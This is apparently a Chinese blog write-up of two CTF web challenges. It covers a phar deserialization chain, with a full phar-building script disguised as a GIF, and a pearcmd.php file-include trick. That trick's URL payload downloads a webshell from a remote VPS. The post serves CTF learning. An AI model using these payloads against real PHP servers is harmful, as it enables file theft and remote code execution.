巅峰极客wp

babyphp2

phar反序列化,用到了一个小tips:

compress.bzip2://phar://    版本:7.4 +
compress.zlib://phar:///    版本:都可以
php://filter/resource=phar://

还有一点就是需要绝对路径来读flag,因为析构函数调用的时候工作目录可能不在当前目录。其实当初思考过session反序列化,可以上传文件。但是找不到session的目录。

<?php

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public $backup;
    public function __construct()
    {
        $this->nickname = new Reader();
        $this->backup = "/flag";
    }
}
class dbCtrl
{
    public $token;
    public function __construct()
    {
        $this->token = new User;
    }
}

Class Reader{
    public $filename;
    public $result;
}

$y1ng = new dbCtrl();

$phar = new Phar("web1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($y1ng);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

@rename("web1.phar", "test.gif");
compress.zlib://phar:///var/www/html/upload/16e45eeda7cc58d39621ec8886c53293.gif

MeowWorld

一个挺有意思的题目。原题的index.php的代码:

<?php 
    $f = $_GET['f'] ?? "home";
    include("{$f}.php"); 
?>

register_argc_argv boolean

Tells PHP whether to declare the argv & argc variables (that would contain the GET information).

$argv —— 传递给脚本的参数数组。包含当运行于命令行下时传递给当前脚本的参数的数组。第一个数组元素是文件名。

<?php
var_dump($argv);
?>

// 当使用这个命令执行:php script.php arg1 arg2 arg3    
/*
array(4) {
  [0]=>
  string(10) "script.php"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}
*/

$avgcargument count,也就是参数的数量。

对于register_argc_argv 经过简单测试,发现⽼版本(测试版本为5.2.17)默认为 On,新版本(测试版本为 5.4.45、5.5.9、
7.3.4)默认为 Off 其实在用7.4.3测试的时候为On也不太行。

实验一下:

<?php
    error_reporting(0);
    $a=$_SERVER['argv'];
    var_dump($a);
?>

发现GET传值会污染argv数组内的值,这样就可以操作php 命令的参数了。其实也可以在官方文档里看到相关的内容。

PEARPHP扩展与应用库(the PHP Extension and Application Repository)的缩写。它是一个PHP扩展及应用的一个代码仓库,简单地说,PEAR之于PHP就像是CPAN(Comprehensive Perl Archive Network)之于Perl。感觉有点类似于pythonpip。可以用来安装东西。一个介绍pear链接

如果用php来调用:

php pearcmd.php argv1 argv2

这里的pearcmd.php文件默认放在/usr/share/php/目录下,可能会有想法来包含远程vps上的文件,但是一般情况下远程包含是默认不行的。所以可以尝试用pearcmd来装马。查看文档可以看到一个download模式,主要用于离线安装,大概就是先把包下下来然后再本地安装,其实这种情况下我们就可以下载我们的木马文件了。

pear download http://www.3rsh1.cool/index.php

本地实验的话会发现虽然安装会失败但是确实下载了这个文件。但是下载的是服务端渲染之后的页面源码,在oss上放个文件直接下载就好了。或者直接把想要执行的代码输出出来,操作就很多了。

直接贴一个题目的payload把:

?f=pearcmd&+download+http://xx.xx.xx.xx:81/shell.php
个人感觉这里不需要&

还有一种方法就是install装马。大致思路就是在安装包内放一个木马文件。这里放个链接就不多说了:

https://lemonprefect.cn/posts/zhs/bcde979b/#MeowWorld
说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...